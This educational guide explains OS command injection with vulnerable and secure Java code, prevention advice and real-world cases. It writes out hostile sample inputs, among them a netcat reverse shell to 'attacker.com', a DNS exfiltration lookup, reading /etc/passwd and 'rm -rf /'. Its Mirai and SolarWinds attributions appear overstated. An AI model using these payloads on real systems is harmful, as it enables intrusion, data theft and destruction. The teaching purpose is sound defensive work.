OWASP Web Top 10 — A03

OS Command Injection

OS Command Injection is a critical security vulnerability that allows attackers to execute arbitrary operating system commands on the server. By exploiting improper handling of user input, attackers can take complete control of the underlying system, access sensitive data, and pivot to other resources within the network.

What Is OS Command Injection?

OS Command Injection is a vulnerability that occurs when an application passes unsafe user-supplied data to a system shell. When applications need to execute system-level commands, they often rely on shell interpreters like bash, cmd.exe, or PowerShell. If user input is concatenated directly into these commands without proper validation or sanitization, an attacker can inject additional commands that the shell will execute with the same privileges as the application.

The root cause is the application's failure to distinguish between data and executable code. When user input is treated as part of a command string, shell metacharacters (like semicolons, pipes, ampersands, and backticks) can break out of the intended context and introduce malicious commands. Unlike other injection attacks that target specific interpreters (like SQL databases), command injection directly targets the operating system itself, making it one of the most severe vulnerability types.

Command injection vulnerabilities have been exploited in countless real-world attacks, from IoT device compromises to enterprise server breaches. Despite the availability of safe APIs that avoid shell execution entirely, developers continue to use dangerous functions like Runtime.exec() with shell invocation, system(), eval(), and exec(), often unaware of the security implications. OWASP classifies command injection under A03 (Injection) in the 2021 Top 10, reflecting its ongoing prevalence and critical impact.

How It Works

1
Application accepts user input for system operation

The application provides a feature that requires executing a system command, such as a network diagnostic tool (ping, nslookup), file processing utility, or backup function. User input is collected through a form field, API parameter, or file upload.

2
Input is concatenated into a shell command

The application constructs a command string by directly embedding user input. For example: "ping -c 4 " + userInput. The developer assumes the user will provide a valid hostname, but the input is not validated or sanitized before being passed to the shell.

3
Attacker injects shell metacharacters

Instead of providing a simple hostname like google.com, the attacker submits a payload containing shell metacharacters, such as google.com; whoami or google.com && cat /etc/passwd. These characters instruct the shell to execute multiple commands sequentially.

4
Shell interprets the malicious command

When the application invokes the shell with the modified command string, the shell parses it as ping -c 4 google.com; whoami. The semicolon acts as a command separator, causing the shell to first execute the ping command, then execute the injected whoami command.

5
Attacker gains arbitrary code execution

The operating system executes the attacker's command with the same privileges as the web application. The attacker can now run any command available to that user account, potentially reading sensitive files, establishing reverse shells, downloading malware, or escalating privileges to compromise the entire system.

Vulnerable Code Example

Vulnerable — Java / Spring Boot
@RestController
@RequestMapping("/api/network")
public class NetworkDiagnosticsController {

    @GetMapping("/ping")
    public ResponseEntity<?> pingHost(@RequestParam String hostname) {
        try {
            // VULNERABLE: User input is directly concatenated
            // into a shell command string
            String command = "ping -c 4 " + hostname;

            // Runtime.exec() with a single string invokes the shell
            Process process = Runtime.getRuntime().exec(command);

            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));

            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            return ResponseEntity.ok(Map.of("result", output.toString()));
        } catch (Exception e) {
            return ResponseEntity.status(500)
                .body(Map.of("error", e.getMessage()));
        }
    }
}

// An attacker can execute arbitrary commands by submitting:
// hostname: google.com; cat /etc/passwd
// hostname: google.com && whoami
// hostname: google.com | nc attacker.com 4444 -e /bin/bash
//
// Resulting command:
// ping -c 4 google.com; cat /etc/passwd
//
// The shell executes both the ping and the injected command.

Secure Code Example

Secure — Java / Spring Boot (ProcessBuilder with validation)
@RestController
@RequestMapping("/api/network")
public class NetworkDiagnosticsController {

    // Allowlist of valid hostnames/IPs
    private static final Pattern VALID_HOSTNAME_PATTERN =
        Pattern.compile("^[a-zA-Z0-9.-]+$");

    @GetMapping("/ping")
    public ResponseEntity<?> pingHost(@RequestParam String hostname) {
        try {
            // SECURE: Validate input against strict allowlist
            if (!VALID_HOSTNAME_PATTERN.matcher(hostname).matches()) {
                return ResponseEntity.badRequest()
                    .body(Map.of("error", "Invalid hostname format"));
            }

            // Additional length validation
            if (hostname.length() > 255) {
                return ResponseEntity.badRequest()
                    .body(Map.of("error", "Hostname too long"));
            }

            // Use ProcessBuilder with argument array (no shell invocation)
            // Each argument is passed separately, preventing injection
            ProcessBuilder builder = new ProcessBuilder("ping", "-c", "4", hostname);
            builder.redirectErrorStream(true);

            Process process = builder.start();

            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));

            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            // Wait for process completion with timeout
            boolean finished = process.waitFor(10, TimeUnit.SECONDS);
            if (!finished) {
                process.destroyForcibly();
                return ResponseEntity.status(500)
                    .body(Map.of("error", "Command timeout"));
            }

            return ResponseEntity.ok(Map.of("result", output.toString()));
        } catch (Exception e) {
            return ResponseEntity.status(500)
                .body(Map.of("error", "Internal server error"));
        }
    }
}

// With ProcessBuilder and input validation:
// - No shell is invoked, so metacharacters have no special meaning
// - Each argument is passed separately to the OS
// - Even if attacker submits: google.com; whoami
// - The ping command receives it as a literal hostname argument
// - The injection attempt fails because there's no shell to interpret it

Types of Command Injection

Direct Command Injection

The most common form, where user input is directly concatenated into a shell command string. The attacker uses shell metacharacters like ;, &&, ||, |, `, $(), or newlines to inject additional commands. For example, submitting file.txt; rm -rf / to a file processing function. Direct injection provides immediate feedback to the attacker, making it straightforward to exploit and verify the vulnerability.

Indirect Command Injection

Occurs when user input is written to a file or environment variable that is later executed by the system. For example, an attacker might upload a cron job file, a shell script, or modify an environment variable (like PATH or LD_PRELOAD) that influences command execution. This type is harder to detect because the injection point and execution point are separated in time and location within the application code.

Blind Command Injection

Used when the application does not return command output to the user. The attacker must infer success through side channels. Time-based blind injection uses commands like sleep 10 to cause a delay, confirming execution based on response time. Out-of-band blind injection uses DNS lookups or HTTP requests to an attacker-controlled server, such as nslookup $(whoami).attacker.com, to exfiltrate data through DNS queries.

Impact

OS Command Injection is considered one of the most severe vulnerability types because it grants attackers direct access to the underlying operating system. The impact can range from data theft to complete system compromise.

Full server compromise and remote code execution

Attackers can execute any command available to the application's user account. This often includes reading and modifying files, installing backdoors, creating new user accounts, downloading and executing malware, and establishing persistent access through SSH keys or scheduled tasks.

Data exfiltration and privacy breaches

Attackers can read sensitive files such as configuration files containing database credentials, SSH keys, source code, customer data, and environment variables. They can use tools like curl, wget, or netcat to transfer stolen data to external servers, or exfiltrate data through DNS tunneling.

Lateral movement and network pivoting

Once inside the server, attackers can use the compromised system as a pivot point to scan and attack other systems within the internal network. They can access cloud metadata services (like AWS EC2 metadata at 169.254.169.254) to steal credentials and gain access to other cloud resources.

Ransomware deployment and service disruption

Attackers can encrypt files and demand ransom, delete critical system files or databases, consume system resources to cause denial of service, or modify application behavior to inject malicious content into web pages. The attacker has the same capabilities as a legitimate administrator with shell access.

Prevention Checklist

Avoid system commands entirely

The best defense is to never invoke system shells. Use language-native libraries and APIs instead. For example, use Java NIO for file operations instead of rm, use HTTP libraries instead of curl, and use network libraries instead of ping. If system commands are absolutely necessary, use safer alternatives like libraries that provide the same functionality without shell invocation.

Use ProcessBuilder or equivalent with argument arrays

When system commands are unavoidable, use APIs that accept arguments as separate array elements rather than as a single string. In Java, use ProcessBuilder or Runtime.exec(String[]). In Python, use subprocess.run() with shell=False. These APIs pass arguments directly to the OS without invoking a shell, preventing metacharacter interpretation.

Implement strict input validation with allowlists

Never rely on blocklists of dangerous characters, as they are easily bypassed. Instead, use allowlists that define exactly what is permitted. For hostnames, use regex patterns like ^[a-zA-Z0-9.-]+$. For file paths, validate against a restricted directory. For numeric IDs, ensure the input contains only digits. Reject any input that does not match the expected format.

Apply the principle of least privilege

Run the application with a dedicated user account that has minimal permissions. Use operating system features like AppArmor, SELinux, or seccomp to restrict which commands the application can execute. Remove unnecessary binaries from the system or make them inaccessible to the application user. Limit file system access to only what the application needs.

Use containerization and sandboxing

Deploy applications in containers (Docker, Kubernetes) with restricted capabilities. Use read-only root filesystems where possible. Disable unnecessary capabilities with --cap-drop. Implement network segmentation to prevent lateral movement. Use security profiles like seccomp and AppArmor to limit system calls. These measures contain the impact even if command injection occurs.

Monitor and log command execution

Implement comprehensive logging of all system command executions, including the full command string and arguments. Use runtime application self-protection (RASP) or endpoint detection and response (EDR) tools to detect and block suspicious command patterns. Set up alerts for unusual process execution, especially for commands like netcat, wget, curl, or base64 encoding/decoding that are commonly used in attacks.

Real-World Examples

2014

Shellshock (Bash Bug)

A critical vulnerability in the Bash shell (CVE-2014-6271) allowed attackers to execute arbitrary commands by exploiting how Bash processed environment variables. Attackers could inject commands through HTTP headers, DHCP clients, and OpenSSH configurations. The vulnerability affected millions of systems and was exploited within hours of disclosure to compromise web servers, IoT devices, and network equipment worldwide.

2017

Equifax Apache Struts RCE

The Equifax breach, which exposed personal data of 147 million people, began with a command injection vulnerability in Apache Struts (CVE-2017-5638). Attackers exploited the flaw in the Jakarta Multipart parser by sending malicious Content-Type headers that executed system commands. This allowed them to gain initial access, escalate privileges, and exfiltrate massive amounts of sensitive data over several months.

2016

Mirai Botnet (IoT Devices)

The Mirai botnet exploited command injection vulnerabilities in millions of IoT devices including security cameras, DVRs, and routers. Many devices had web interfaces that passed user input directly to shell commands without validation. Attackers used these vulnerabilities to install malware and create one of the largest botnets in history, which launched devastating DDoS attacks that disrupted major internet services.

2020

SolarWinds Orion

The SolarWinds supply chain attack included command injection techniques as part of the broader SUNBURST malware campaign. Attackers leveraged command execution capabilities to move laterally through networks, exfiltrate data, and deploy additional payloads. The attack compromised numerous government agencies and Fortune 500 companies, demonstrating how command injection can be weaponized in sophisticated, targeted attacks.

Ready to Test Your Knowledge?

Put what you have learned into practice. Try identifying and fixing OS Command Injection vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.